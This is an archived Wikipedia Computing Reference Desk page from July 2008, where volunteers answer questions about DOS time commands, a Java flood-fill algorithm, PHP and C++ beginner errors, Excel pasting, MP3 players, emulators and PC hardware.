- When in doubt, it is good practice to do a full scan (preferably boot time) before defragmenting. Defragmenting NTFS should be much faster than defragmenting in FAT32. (Yeah, I know. I used to be, and probably am, biased in favor of FAT32 but that has nothing to do with the question.) Kushal (talk) 02:52, 15 July 2008 (UTC)
PS3 multizone DVD player?
The PS3 can be used as an upscaling DVD player. It is also sold region locked. How can I make the PS3 play DVDs from other regions? F (talk) 11:41, 14 July 2008 (UTC)
- Upscaling doesn't really worth the hype it has. The truth is your TV already does it when you feed the signal from your normal DVD player to it, and it doesn't increase the amount of detail. --antilivedT | C | G 12:52, 14 July 2008 (UTC)
- Well, it's not worth the hype, I agree, but I disagree that your TV already does it. If I play DVDs from my PS2 on my progressive scan TV, there's some diamond shaped "watermarks". Other than that, it's true. --Wirbelwindヴィルヴェルヴィント (talk) 17:22, 14 July 2008 (UTC)
- I have to disagree. Upscaling is a very important technology and the PS3 is one of the best. Perhaps you are refering to the hype that upscaling makes DVDs look like Bluray, which is of course bull. --mboverload@ 20:10, 14 July 2008 (UTC)
- It probably is not very easy to do it (or someone at Sony can anticipate a bad rap). Depending on where you live, it might be legal to use HandBrake to convert it into another format and play the movies so. I wish I could help more but my knowledge of Regional lockout and DVD region code is severely limited. Kushal (talk) 02:48, 15 July 2008 (UTC)
Excel on a Mac
On a Mac, how do I set Excel so that instead of displaying the data as it will print, ie with everything broken down into individual A4 pages, it displays as one continuous sheet with no breaks? Thanks 92.2.122.213 (talk) 13:42, 14 July 2008 (UTC)
- View > Normal. --98.217.8.46 (talk) 14:18, 14 July 2008 (UTC)
What time is it ?
Is there a Windows line command (MSDOS) which will tell me the current time without prompting me to change the clock as "TIME" does ? StuRat (talk) 15:47, 14 July 2008 (UTC)
- "TIME /T" seems to do what you require. TSP (talk) 15:54, 14 July 2008 (UTC)
- Or DATE /T Mankerranker (talk) 15:55, 14 July 2008 (UTC)
Those don't work for me (under Windows 98). They just say "Invalid time. Enter new time:" (or the same thing with dates). They do work on my Windows XP computer, however. So, is there a way to do this under Windows 98 ? I'm more familiar with Unix, so I don't quite know how to do this in Windows. StuRat (talk) 16:23, 14 July 2008 (UTC)
- It would be pretty trivial to write such a program, no? --98.217.8.46 (talk) 17:35, 14 July 2008 (UTC)
- Not that trivial, especially if I want it to run on different Windows versions and show the same result. Is there a way to feed a return character to the time command ? Maybe something like "^M" > TIME ? Or maybe there's an environment variable, so I could do something like "echo $TIME" ? StuRat (talk) 18:40, 14 July 2008 (UTC)
- I think you can go (verbatim):
echo. | time
-- Finlay McWalter | Talk 19:13, 14 July 2008 (UTC)
- I think you can go (verbatim):
- Thanks. That's quite an improvement. However, even though it doesn't wait for the user to hit enter anymore, it still displays a second line with "Enter new time:" on it. Is there a way to only display the first line with the time ? (Something equivalent to the Unix "cut" command ?) StuRat (talk) 20:16, 14 July 2008 (UTC)
- Try this, probably best if it's in a batch file:
@ECHO. | time | find "The current time is"
--LarryMac | Talk 20:36, 14 July 2008 (UTC)
- Try this, probably best if it's in a batch file:
- Well, the @ at the beginning did something really bad, locking up my MS-DOS session so I had to use the Task Manager to kill it, which left the current executable hosed up such that I no longer have permission to delete it. What was that supposed to do ? However, once I eliminated that and changed the wording on the find string (they apparently changed the text slightly from "Current time is" to "The current time is" from Windows 98 to Windows XP), it worked great:
ECHO. | time | find "urrent time is"
- Thanks ! StuRat (talk) 23:20, 14 July 2008 (UTC)
- @ just means that the command line won't display in a batch file. (so you wouldn't see the ECHO line itself, just the result.) My bet is that it just didn't work for some reason (maybe due to the "current time" thing) but you couldn't see that because of the @ character. You could probably re-add it to your current line and have it work fine. (Or not, it's your preference.) --98.217.8.46 (talk) 00:53, 15 July 2008 (UTC)
- I see. It seems safer to leave it off. Thanks again. StuRat (talk) 02:44, 15 July 2008 (UTC)
- An alternative to "echo. | time" is "time < nul". --Bavi H (talk) 00:58, 15 July 2008 (UTC)
- No, that doesn't work in Windows 98. It produces a large number of ^A characters on the "Enter new time:" line, and then locks up the MS-DOS window. StuRat (talk) 02:44, 15 July 2008 (UTC)
- I just want to mention that using the @ to supress output of the current line has been a feature of batch for almost as long as DOS batch has existed. I didn't even think twice about typing it in my sample command. --LarryMac | Talk 13:19, 15 July 2008 (UTC)
Jayski's Silly Season Site
Hi My name is Paul Ogilvie and I believe that you either own or control the Jayski site that is owned by ESPN and run by Jay ?(He is the one that started the site). I have been able to view the site until Friday? have tried everything. the last test told me to contact the owner of the site to find out why it is not available to me. Some of my friends can get on but I have been stopped How do it get back on the Site? Thank You Paul email removed —Preceding unsigned comment added by 166.128.97.181 (talk) 17:11, 14 July 2008 (UTC)
- This is the reference desk of Wikipedia, the free encyclopedia. You are talking to Wikipedia volunteers. No-one here owns this website, and I doubt anyone knows anything much about it. You can contact Jayski at jayski at jayski dot com. Algebraist 17:26, 14 July 2008 (UTC)
- Maybe this nifty tool can help you in the future. Kushal (talk) 02:41, 15 July 2008 (UTC)
Implementing a flood fill more efficiently
In regard to the Java flood fill code I posted above, the recursive approach gets very inefficient as the picture size progresses. In fact, changing the maximum size from 160×120 to 320×240 makes the JVM stack overflow because all of the recursive method calls. Is there a way to make the algorithm use less recursion but still function the same? JIP | Talk 17:16, 14 July 2008 (UTC)
- You don't need any recursion. Write the code with a store (it's typically a stack) and just push values to be processed to it:
workpile = empty workpile.push (startX, startY) while workpile isn't empty: (x,y) = workpipe.pop() paintPixel(x,y) // push an entry for each adjacent pixel that needs painting if needsPainting(x-1,y): workpile.push(x-1,y) if needsPainting(x,y-1): workpile.push(y-1) // etc
- If you code this properly, your stack is of 32bit ints rather than full java method call frames, and so should be many times smaller.
- Fun hack: there's no reason, with this method, why your fill has to proceed from a single seed point. You could specify an additional floodfill api that takes multiple seeds, and has multiple workpiles but still considers them all serially in the same while loop, and the effect would be that several fills would run concurrently, which should look cool. You could exploit multiple processors by extending this to several genuinely concurrent filler threads, but you'd need to supply additional constraints to stop them from fighting (such as "thread A only paints x values between 0 and 50". I doubt that, for images of the size and type you'd normally fill, if the overhead and the bother would yield worthwhile results.
- Better yet, you can exploit some reasonable shortcuts based on what you're expecting to fill. If you're expecting to fill with large runs of horizontal or vertical pixels (that is, you're not filly horribly convoluted snakey patterns) then instead of recursing to go right, write code that looks like this:
if rightPixel needs painting: scan rightward until you find a stopper: for each, paint that pixel and push any adjacent pixels that need painting
- Hmm, on looking (after the fact) at flood fill they've mostly got all the stuff above already. -- Finlay McWalter | Talk 18:12, 14 July 2008 (UTC)
- Thanks! I understand exactly what you're meaning. I just have to take the time to write the pseudocode out in Java. JIP | Talk 18:33, 14 July 2008 (UTC)
- Incidentally if you're painting onto a surface that's currently being displayed (I forget the innards of Java2D, and you've not explained what exactly you're painting into - I don't think Java2D is synchronised) you incur a lot of penalties from synchronisation and refresh. If you can keep the image in a regular array, floodfill into that, and only shove that at the display API when you're done then you won't have those problems. And when you're accessing an array you're not having to call setPixel/getPixel methods to do stuff. -- Finlay McWalter | Talk 18:23, 14 July 2008 (UTC)
- I am already doing that. The flood fill algorithm is done on an array of
int
s, not on ajava.awt.Image
. The image gets read into the array at the beginning and written back at the end. JIP | Talk 18:33, 14 July 2008 (UTC)
- I am already doing that. The flood fill algorithm is done on an array of
I fixed the algorithm, and now it's working perfectly. Thanks to you all. At first I was mystified because it kept making stripes into the image, but then I realised I had written image.getHeight()
where I needed to write image.getWidth()
, making the pixel value checking useless for non-square images. The next step is to fix fine-tune the needsPainting()
method. A uniform threshold isn't going to work - lighter parts need higher thresholds and darker parts need lower ones. JIP | Talk 19:47, 14 July 2008 (UTC)
- That's good. Y'know, if you're feeling industrious, the flood fill article could do with an animation. While it has graphics that show the algorithm per-pixel, it doesn't convey the macroscopic appearance of a flood fill on a convoluted shape so familiar to anyone who played Twin Kingdom Valley or The Hobbit. I figure you've done the hard part, and you could straightforwardly amend your program to:
- read Image:Canard.jpg (probably downscaled a bit)
- floodfill the body green from a seed somewhere on the wing
- for every pixel, emit a numbered image file
- use ImageMagick to turn them into an animated GIF (it's easy)
- ;) -- Finlay McWalter | Talk 20:08, 14 July 2008 (UTC)
- Meh, I got bored and did it myself - see right. -- Finlay McWalter | Talk 17:38, 16 July 2008 (UTC)
MP3 Players
I looked at our list of MP3 players but can't find what I'm looking for. Is there a list out there of currently available MP3 players which behaves just like a USB drive when transfering music? (For example, I had an Archos player which used USB connections to transfer files, it's own internal software made a list of all the songs on the device through the FAT, I think, and required no extra software on the computer to transfer). Pluses for me would be 20GB+ HDD or maybe even 4~8GB+ of flash, and foreign language support. My Zen Vision M is a pain is the butt because it requires stupid software to transfer files (or SMP which I hate), can only play music through their own crappy software when connected to the computer, and since 90% of the songs on my player is Japanese with Japanese track titles, it's hard to scroll to any song because it sorts everything as after 'Z', so probably 75% of all my songs and artists are between Z and A when I try to find it. Any non-iPod players out there that'd fit my requirements? Even Zunes are ok. --Wirbelwindヴィルヴェルヴィント (talk) 17:17, 14 July 2008 (UTC)
- In List of mp3 players, those with an MSC entry of "yes" (in the syncing and transfer section) implement the USB mass storage device class, which is USB-speak for "disk drive type thing". -- Finlay McWalter | Talk 18:16, 14 July 2008 (UTC)
- Why do you dislike iPods so much? because they need special software to transfer music? --grawity 18:23, 14 July 2008 (UTC)
- No need to interrogate the guy because he doesn't like a particular product. Perhaps he uses Linux. Perhaps he doesn't want custom software. Perhaps he is philosophically opposed to hardware with built-in encryption. Perhaps he doesn't like the interface. Perhaps he doesn't like the style of the device. (Apple's shiny, rounded look & feel is pretty over-exposed at the moment. It's even, dare I say, starting to seem old.) The point is, his question was already answered, what's the point of harassing him on his brand choice? APL (talk) 19:04, 14 July 2008 (UTC)
- I would say grawity is right in asking that question. Do you suppose that the iPod will naturally evolve with everyone who don't want to use it for a particular reason stay muted? The OP is not compelled to answer and grawity is not a troll. Kushal (talk) 02:39, 15 July 2008 (UTC)
- Well, does the list of MSC compatible devices include devices where part of an MP3 player can be used as a hard drive? For example, I had a Zen Xtra where you can allocate part of the device to be used as a hard drive through MSC, but you can't access the music that way, which would still not be what I want. Also, the reason I don't want to use an iPod is because people don't really realize how close to a monopoly it is. I mean, seriously, airlines wanted to put iPod chargers for each seat, etc. Making students buy iPods for podcasts. I'm sure there are others, but these things don't sit well with me. --Wirbelwindヴィルヴェルヴィント (talk) 16:00, 15 July 2008 (UTC)
- I don't know if you've looked at them already, but Archos's current generation can function as MSC devices in the way you want. I'm not sure how well they handle Japanese characters (though for what it's worth, they handle Icelandic fine...) — Matt Eason (Talk • Contribs) 16:11, 15 July 2008 (UTC)
- Kushal, Wikipedia's reference desk is not the correct place for Apple to be conducting market research into why some small number of people do not prefer their product. APL (talk) 18:44, 15 July 2008 (UTC)
Spawn c++ processes in new console windows.
I'm using _spawnv(P_NOWAIT, "process.exe", my_args ); to spawn new processes but whenever I do, it appears in the same console window as the original program. Also, the first process will close prematurely if I use another _spawnv. How do I have each _spawnv process launch in a new console window? —Preceding unsigned comment added by 205.214.236.66 (talk) 18:31, 14 July 2008 (UTC)
- You don't say what OS you're running on (I'm guessing windows from that .exe extension). If this were Unix (et al) you'd instead spawn another xterm (or whatever) process with your text-mode C++ app supplied as an argument to that. I'd guess that XP/Vista's
cmd.exe
can do the same, but I've been overoptimistic about Windows before. -- Finlay McWalter | Talk 18:40, 14 July 2008 (UTC)
I'm on XP, sorry. Based on the above, does anyone know of a command I can pass to the program to have it start in a new window, or can I do this indirectly through a batchfile maybe? —Preceding unsigned comment added by 205.214.236.66 (talk) 18:46, 14 July 2008 (UTC)
- See what happens if you spawn
("cmd.exe","/c","process.exe",myargs)
(per this). -- Finlay McWalter | Talk 18:56, 14 July 2008 (UTC)
Thanks, guys. It works best if the program writes then executes it's own batch file. —Preceding unsigned comment added by 205.214.236.66 (talk) 19:10, 14 July 2008 (UTC)
- If you don't mind using the Win32 API instead of the standard C libraries, then CreateProcess (which is what the Windows implementation of spawn ultimately calls, anyway) lets you specify in its dwCreationFlags parameter CREATE_NEW_CONSOLE. CreateProcess gives you much finer-grained control over the new process than does spawn, and so is probably the better option anyway if you are running under Windows. KiwiBiggles (talk) 05:44, 15 July 2008 (UTC)
Making partitions and losing data
If you make a new partition in an HDD, is there any risk of loosing data? —Preceding unsigned comment added by 84.79.111.175 (talk) 18:43, 14 July 2008 (UTC)
- Yes. If the drive is currently all one partition with data, your partitioner program must be capable of moving data around to make empty space for the new partition. If not, it will simply truncate the existing partition and usually erase the file directory - making it an empty drive. -- kainaw™ 19:09, 14 July 2008 (UTC)
- Take a look at List of partition utilities. If you follow the links and check the features, you will find that many or most have the ability to repartition drives while preserving data. -- Tcncv (talk) 02:03, 15 July 2008 (UTC)
- Bear in mind anything which modifies existing partitions run the risk of screwing up and damaging your partition. I've had this happen before. Depending on how they're designed, you will have problems if it dies (power failure etc) during some part of the operation. Whatever happens, if something goes wrong often if you check before you do anything further, you can recover most of your data (presuming you have somewhere to copy it to) but there are never any guarantees. Most partitioning tools will remind you to make sure you have backups before doing something major like modifying your existing partitions. Of course, you should always have backups anyway Nil Einne (talk) 21:03, 15 July 2008 (UTC)
Which form of the Bagle has "Be Not Jealous"? Ericthebrainiac (talk) 18:58, 14 July 2008 (UTC)
- The closest I could find was this one that includes the message "Dont get jealous!!" -- Tcncv (talk) 02:11, 15 July 2008 (UTC)
Problems with MAME32 and Nebula emulator
I have the MAME32 emulator and a few roms for it. Whenever I try and play a game, it loads the rom files correctly, but does not find these 4 files: sfix.sfx sp-s2.sp1 sm1.sm1 000-lo.lo
I searched online, and found a .zip file download that has these files in it. I put it in my rom folder and unzipped it, just as it said to, but the emulator is STILL not reading the files, even though I can see them right there in front of me.
I also have the Nebula NeoGeo emulator, and it experiences the same problems. In this emulator, though, it says I need the files: Neo-geo.rom ng-sfix.rom ng-sm1.rom ng-lo.rom
Here's an excerpt from the faq that comes with Nebula: "Q1. Can't load Neogeo games, Nebula says that neo-geo.rom is missing but I have it inside the game zip. A: Neo-geo.rom, ng-sfix.rom and ng-sm1.rom (and now ng-lo.rom) MUST be in a file called neogeo.zip in any of the rom directories you have configured. NG-LO.ROM file must be 64k (65536 bytes) and it's the same than the first 64K of the old 128k NG-LO.ROM"
I downloaded a .zip file named "neogeo.zip" but all it had in it was the 4 files needed for the MAME32 emulator (which is still not reading them). What exactly is my problem, here?! The Mighty KELP (talk) 20:59, 14 July 2008 (UTC)
- I have a file called neogeo.zip in my roms directory, and it has these files: 000-lo.lo, asia-s3.rom, sfix.sfx, sm1.sm1, sp-e.sp1, sp-j2.rom, sp-s.sp1, sp-s2.sp1, sp1.jipan.1024,usa_2slt.bin, vs-bios.rom. My mame32 has always worked with neogeo games with the zip file like that. Sandman30s (talk) 12:26, 15 July 2008 (UTC)
Comodo firewall and McAfee security center
Hi all. I've just installed the Comodo firewall (replacing ZoneAlarm, which was acting up), but McAfee security centre keeps giving me the warning that "Outbound firewall is not installed on your computer". Is this just a case of the two applications not getting on together, or is Comodo not giving full protection? (I haven't changed any settings on the firewall since installation, btw) Thanks. 91.143.188.103 (talk) 21:18, 14 July 2008 (UTC)
Open mp3 in a new Winamp?
Hello. Is there a way to open an mp3 file in a new Winamp instance by double-clicking it by default? (It's really annoying that double-clicking an mp3 files makes the Winamp instance already running erase its whole frickin' playlist and replace it with the single mp3 file!) If this can't be done, I'm open to suggestions on other equally light-weight and unobtrusive players able to do this ^-^. Thanks in advance, Kreachure (talk) 22:17, 14 July 2008 (UTC)
- What I do is have some other media player (usually Media Player Classic) set as my default mp3 player. That way I can have winamp running and never worry about the problem you've described. APL (talk) 23:55, 14 July 2008 (UTC)
- Right click the file and select the option you need. If you have nothing else, you can always enqueue it. Kushal (talk) 03:24, 15 July 2008 (UTC)
- Whilst I don't have Winamp on the computer I'm writing this on, IIRC, there is an option (in Winamp) to make the default action "Enqueue" instead of "Play". That way, double-clicking on an MP3 file will add it to the current Winamp playlist. — QuantumEleven 11:49, 15 July 2008 (UTC)
- In my Winamp (v5.531) it's options/preferences/general preferences/file types/Enqueue files on double click in Windows Explorer. Algebraist 12:00, 15 July 2008 (UTC)
- Enqueue might not be the functionality he wants. It sounds like the functionality he wants is to play some file now, while not killing his (probably paused) playlist. I do this all the time, which is why I recommend having some other media player as the default mp3 handler. APL (talk) 12:41, 15 July 2008 (UTC)
- Whilst I don't have Winamp on the computer I'm writing this on, IIRC, there is an option (in Winamp) to make the default action "Enqueue" instead of "Play". That way, double-clicking on an MP3 file will add it to the current Winamp playlist. — QuantumEleven 11:49, 15 July 2008 (UTC)
- Winamp->right click on the Winamp Window->Options->Preferences->Setup/File types-> Enqueue as default action. This is for Winamp 2.x so if you're running Winamp 5.x then the directions may not work as well but it should still have that option.--droptone (talk) 12:18, 15 July 2008 (UTC)
Nope, I certainly don't want to enqueue a song I want to hear right now into my 850+ song playlist. Enqueuing is the only alternate option I had already found for playing an mp3 file on Winamp, either by right-clicking, on preferences, or even on Windows file type options. I guess having an alternate default mp3 player to open mp3s directly is a good idea (and I do have Media Player Classic in my comp already, I just never thought of it as an mp3 player!), so I guess I'll be doing that. Thanks. Kreachure (talk) 13:09, 15 July 2008 (UTC)
July 15
What's wrong with this php
I have my php installed on this computer. The html and php are in the same folder. Here is the php page:
<?php $n=$_POST['n']; print "Your prime number is $n."; ?>
And here is the HTML page:
<html> <head> <title>Prime Number</title> </head> <body> <form method="post" action="prime.php"> <input type="text" name="n" id="n"/> <input type="submit" value="Submit" /> </form> </body> </html>
Whats wrong with it my PHP Designer said Undefined index n in C:\Users\Public\Public Documents\prime.php on line 2 Melab-1 (talk) 01:46, 15 July 2008 (UTC)
I'm not sure but try removing$n=$_POST['n'];
. ---J.S (T/C/WRE) 03:12, 15 July 2008 (UTC)Nevermind. ---J.S (T/C/WRE) 03:21, 15 July 2008 (UTC)
- Your PHP code is fine. The problem is on your server. What all did you install on your computer? You need an http server and php running to make this work. Trvr3307 (talk) 06:19, 15 July 2008 (UTC)
- The error is saying, basically, that it doesn't know what you're talking about when you reference item "n" from the system variable $_POST. The fact that it's telling you this tells you that PHP is installed fine. I'm not sure why it doesn't get the variable, though. It might be due to it not receiving POST variables at all; it might be due to the error reporting settings telling you that when the variable is null.
- Try this on line 2 and see what it gets you, it should tell you what the script is receiving, if anything: echo "POST variables are: ".print_r($_POST,1); --98.217.8.46 (talk) 14:37, 15 July 2008 (UTC)
- I have heard of a bug with Windows web server (IIS, I believe it is called) not passing post variables when connected to the local machine. It is possible that this is the problem the questioner is experiencing. -- kainaw™ 14:51, 15 July 2008 (UTC)
Backup of Windows files using Linux
I had a problem with my Windows installation and so I tried to access my data with Puppy Linux. I could copy the files, but as I try to open the pdf files, I receive an "Access denied" message as I try to open them in Windows.
How can I access these Windows files? —Preceding unsigned comment added by 83.40.8.91 (talk) 09:46, 15 July 2008 (UTC)
- The problem happens only as I try to access the files under another Windows installation. If I try to access my pdf files under Linux the problem disappears. The same happens to directories of my own files. —Preceding unsigned comment added by 83.40.8.91 (talk) 10:13, 15 July 2008 (UTC)
What about non-PDF files in the same directories? And can you move the PDF files around (copy them from directory to directory, attach them to emails, etc.)? -- Hoary (talk) 10:16, 15 July 2008 (UTC)
- Under Windows I cannot move them around. Other files (html) are okay. Under Puppy Linux I can do what I want (read, copy, etc). —Preceding unsigned comment added by 83.40.8.91 (talk) 10:20, 15 July 2008 (UTC)
A3 Printer / Scanner
I'm looking for an multifunction printer / scanner that can print and scan A3 in color. It would be for light to medium small office use, on a daily basis. Cost isn't too much of an issue, but I don't want to go overkill considering the aforementioned usage. Are there any solutions for this, or would you suggest I get an A3 printer and scanner separately? Thanks. 81.187.252.174 (talk) 10:18, 15 July 2008 (UTC)
occlusion test for cube in directX/openGL ?
Is this possible?
What I want to do is:
- 1. calculate which faces of the cube are visible (can do)
- 2. tranform the faces to polygons in screen coordinates eg Zdepth, x and y (can do)
- 3. For each face start the 'polygon fill' process but simply compare the z depth of each pixel with the z depth in the screen buffer
- i. If the polygon z pixel depth is less than the screen buffer z depth then 'TOTAL_OCCLUSION'=FALSE. and exit
- ii Do the next, and all the pixels from the polygon in 3.i.
- iii 'TOTAL_OCCLUSION'=TRUE and exit.
Note, I want the proceedure to exit early if the polygon is shown to be not occluded at a point, and that there is not write to the screen buffer - just read?
Is this do-able - if so what are the commands? Thanks.87.102.86.73 (talk) 12:37, 15 July 2008 (UTC)
MS Office - changes between versions
(Caveat: A month ago I shifted positions where I "work", and found myself too busy to troll the RefDesks. I now find myself so busy that I probably should consider myself to be actually working. Dammit. But, I can come here if I need help, can't I?)
Background: I had been using a PC running XP/Pro and MS Office 2003 Premium. Among other things, I use Excel to create and maintain a simple list of related items. While some fields were calculated, most were manually pulled from various sources, all coughing up data as text. I had my company-mandated Outlook set to show all email as text, so even those things I used the Windows Clipboard for came across as simple text, and all was good. Now: I have been "promoted", and now have a newer PC running Vista Ultimate (like a very sick dog, btw, until I gave it enough RAM) and I have MS Office 2007 Professional to maintain that list with, and I can no longer do what I used to do. Anything I copy from another source into Excel retains the font, size, and attributes of the original. Thus, a small field that displays fine with the attributes I told Excel to use becomes unreadable with the (effectively) random font, size, bold, italics, etc that got dragged over from the web page, incoming email, etc that was copied.
- Does anyone know how to do any of:
- 1) convince the clipboard in Vista to only copy ASCII text without all the formatting garbage,
- 2) convince MS Oulook 2007 to display all email as ASCII text only -I found the setting to make all _outgoing_ email text, but I can't find the setting to make all _incoming_ email show text only. I get to see all incoming email exactly as rainbow bright wanted me to, with beautiful colors, different fonts and sizes, etc. There's gotta be a "Just show the text" setting somewhere...
- 3) convince MS Excel 2007 to enforce field settings, instead of allowing the clipboard to change them all?
(I miss you guys. Actually, I miss being so under-worked that I could troll the RefDesks, but, hey, let's be polite!) -SandyJax (talk) —Preceding comment was added at 14:16, 15 July 2008 (UTC)
- I don't have all those fancy new software versions, but in similar situations, I've become used to keeping a "scratch" notepad open, and I use a two step copy/paste, i.e. copy from mail to notepad, then ctrl-A, ctrl-C (shift focus), ctrl-V. It's far from ideal, but it works, and I have to do it seldom enough that it's not onerous. --LarryMac | Talk 14:48, 15 July 2008 (UTC)
- I agree, the two-step process works well, since Notepad strips all formatting, but it's definitely not my first choice for a solution. (Actually, my FIRST choice would be an automated filter on the email server sending a text-only copy of the relevant emails to a bot which inserted the relevant data into the table, but since this company doesn't believe in test servers, any such development would have to be done on the live servers that paying customers and paid employees use world-wide. Things don't get fixed or improved very often, here.) -SandyJax (talk) 15:31, 15 July 2008 (UTC)
- I've used "Clipboard Washer" to do #1. You need to install Yahoo Widgets to use it. —Preceding unsigned comment added by 66.92.130.188 (talk) 01:25, 16 July 2008 (UTC)
- Try the Edit > Paste Special menu option in Excel. Depending on the copy-from source, this should give you the option to paste plain text only, which should leave the formatting alone. -- Tcncv (talk) 03:25, 16 July 2008 (UTC)
- That sounds like what I want. However, this new MS program does not seem to have the standard MS Windows program drop-down menus, like File/Edit/Tools/Help/etc. All Excel 2007 offers is "Home / Insert / Page Layout / Formulas / Data / Review / View" to let me do anything I want with this spreadsheet. I just can't find the Edit menu that you are probably talking about. -66.55.10.178 (talk) 13:47, 16 July 2008 (UTC)
- Did you click the magic bubble in the upper left? -- kainaw™ 14:55, 16 July 2008 (UTC)
- Yes, I did. Do you know of an option in that menu that does something helpful? If so, can you tell us where it is? -SandyJax (talk) 19:27, 16 July 2008 (UTC)
SLI vs. CrossfireX
Is there a difference between motherboards that do SLI and those that do Crossfire? My video card says it can do SLI (it's a GeForce 8800 GT Superclocked), and I was looking at this motherboard. Can I SLI a pair of 8800 GT's (assuming I eventually buy a second one) on that particular motherboard? 216.49.181.128 (talk) 17:09, 15 July 2008 (UTC)
- And that mobo is compatible with this CPU, right? 216.49.181.128 (talk) 17:15, 15 July 2008 (UTC)
- Yes. While there is little difference as far as I know at the physical level, chipsets need to be licensed with built in support to do SLI or Crossfire. Nvidia in particular isn't licensing SLI to anyone meaning unless you have an Nvidia chipset, you're not going to have SLI. Now it is potentially possible to hack the drivers to enable SLI on an unsupported motherboard, but this is going to be rather iffy to get to work. Also be aware that the motherboard you linked to has only one true 16x slot, the other one only offers 8 lanes according to the Foxconn manual (which isn't surprising since it's using the P45 chipset) which may reduce performance slightly (although probably not by much). In any case, IMHO SLI is nearly always a waste. As you are hopefully aware, SLI performance is quite variable and is often not double and can indeed have no increase. It's simply not worth the hassle, unless your insane and are using 2 of the best cards possible. You're nearly always far better just buying a new card, whatever offers the best price/performance for your budget at the time, which may not be much more expensive then the price of a second 8800GT but could easily offer double the 8800GT and selling your old one for whatever you can get. Nil Einne (talk) 19:50, 15 July 2008 (UTC)
why no browsers in app store
Why is that all the applications in iPhone app store is small games or small apps. Why no browsers like opera or firefox etc? Does Apple prohibit or discourage them by some means like say, they are not possible with the current SDK like that? —Preceding unsigned comment added by 59.92.119.219 (talk) 17:42, 15 July 2008 (UTC)
- I'm somewhat doubtful the terms of the App Store SDK licensing make it likely or possible for free software like FireFox to be released. Nil Einne (talk) 19:56, 15 July 2008 (UTC)
- As I suspected... [3]. Potentially a browser could be derived from FireFox and released under the LGPL or MPL (although I'm not sure) but I suspect Mozilla will put their foot down on it being called FireFox Nil Einne (talk) 19:59, 15 July 2008 (UTC)
More C++
For my second C++ program I am trying to write one to take the average of three numbers. Here's what I have:
#include <iostream> using namespace std; int main() { float a, b, c, average; cout << "Please enter 3 numbers." << endl; cin.get >> a >> endl; cin.get >> b >> endl; cin.get >> c >> endl; average = (a + b + c)/3; cout << "The average is:" << average; system("pause"); return 0; }
When I try to compile this, I get three errors that say this: "C:\Documents and Settings\Zachary\Desktop\Average.cpp invalid use of member (did you forget the `&' ?)" for lines 10, 11, and 12. What I would like to know is what to change in order for this to compile correctly. (By the way, I'm using the Dev-C++ compiler.) Thanks, Ζρς ι'β' ¡hábleme! 17:49, 15 July 2008 (UTC)
I just wrote a program so I could check the "cin" function. I don't know what's going on because if I try to use "cin" in the above program, I get way more errors than if I use "cin.get". But I just used "cin" and it worked fine; in fact it would not work with "cin.get". I would give me the error message: "10 C:\Documents and Settings\Zachary\Desktop\simple.cpp no match for 'operator>>' in 'std::cin.std::basic_istream<_CharT, _Traits>::get [with _CharT = char, _Traits = std::char_traits<char>] >> mystring' " which is the error I get if I try to use just "cin" in the average program. (The test program is written as below.)
#include <string> #include <iostream> using namespace std; int main() { string mystring; cout << "Please enter a phrase to echo: "; cin >> mystring; cout << "You entered the phrase: " << mystring << endl; system("pause"); return 0; }
Thanks, Ζρς ι'β' ¡hábleme! 18:03, 15 July 2008 (UTC)
- I am far from an expert (and in fact I kinda hate C++), but if I'm not mistaken, get is a function cin, and should be called with parentheses, e.g.
cin.get() >> a;
--LarryMac | Talk 18:23, 15 July 2008 (UTC)- Actually, that's probably not quite right either, except that if you use get, you will need parentheses. I think get() will limit you to one character, which doesn't really match with your declarations of a, b, and c as floats. --LarryMac | Talk 18:31, 15 July 2008 (UTC)
- The problem is with these lines. "cin.get >> b >> endl;" This line is actualy two seperate statements, both wrong. The first is "cin.get >> b" cin.get is a function. You can't normaly use an operator (>>) on a function. The second statement is "b >> endl" this doesn't make sense. It's actually a bitshift, which is certainly not what you intended. You don't need an end of line there anyway.
- Try replacing those three lines with something that looks like this : "cin >> b;" APL (talk) 18:33, 15 July 2008 (UTC)
- Whoops. Yep, that was it. It's working now. :) Thanks, Ζρς ι'β' ¡hábleme! 18:51, 15 July 2008 (UTC)
Word 2007 Combine Documents
In Word 2007, when combining documents is there any easy way to accept all insertions and reject all deletions without going thru it one by one. Thanks! Wiki131wiki (talk) 18:20, 15 July 2008 (UTC)
Info by Fingerprinting (a la Back to the Future II in 2015)
On BTTF II in 2015, 17-year-old Jennifer Parker sits unconscious in an alleyway in 2015 after time-traveling. A vocal on the fingerprint reader says she's 47. The cops say, "That's one hell of a good facelift!"
1. But what if another time-traveler who visited a future year, was dead by that year? What would a fingerprint reader tell you then?
2. And assume someone travels back to the past when they're 27 years old, and the year they travel to is 20 years prior. If a cop fingerprinted the young lady and it told them her CURRENT age, then what?? (They would just assume a glitch, would they?) --Let Us Update Special:Ancientpages. 19:18, 15 July 2008 (UTC)
- Well the fingerprint reader is probably just syncing it with a database of pre-existing fingerprints and grabbing the D.O.B. from there. Thus it thinks a 17 year old is 47—it's looking to her recorded D.O.B., not anything to do with the biological body laying there in front of them.
- As for what would a hypothetical fingerprint system used in a fictional movie would tell them in other situations, and what the cops using it in question would think in respond to data that didn't make sense—who can say. It would depend on how the system itself was set up. --140.247.241.142 (talk) 19:25, 15 July 2008 (UTC)
Limitations of statically typed languages
I copied and pasted the following from Type system: Compared to static typing (or 'early-binding'), dynamic typing is more flexible because of theoretical limitations on the decidability of certain static program analysis problems; these prevent the same level of flexibility from being achieved with static typing[citation needed].
My question is: anyone know what this means? Thanks --78.86.164.115 (talk) 19:28, 15 July 2008 (UTC)
- I'd guess that it could include a program that loads a variable A into another variable B; where the data type eg integer/string/float/boolean is not known until the program is run, or may depend on use input. In this case a statically typed program would simply give an error, or would be required to convert all the possible data types of B into a standard representation where extra bits are added to show the data type.?87.102.86.73 (talk) 19:39, 15 July 2008 (UTC)
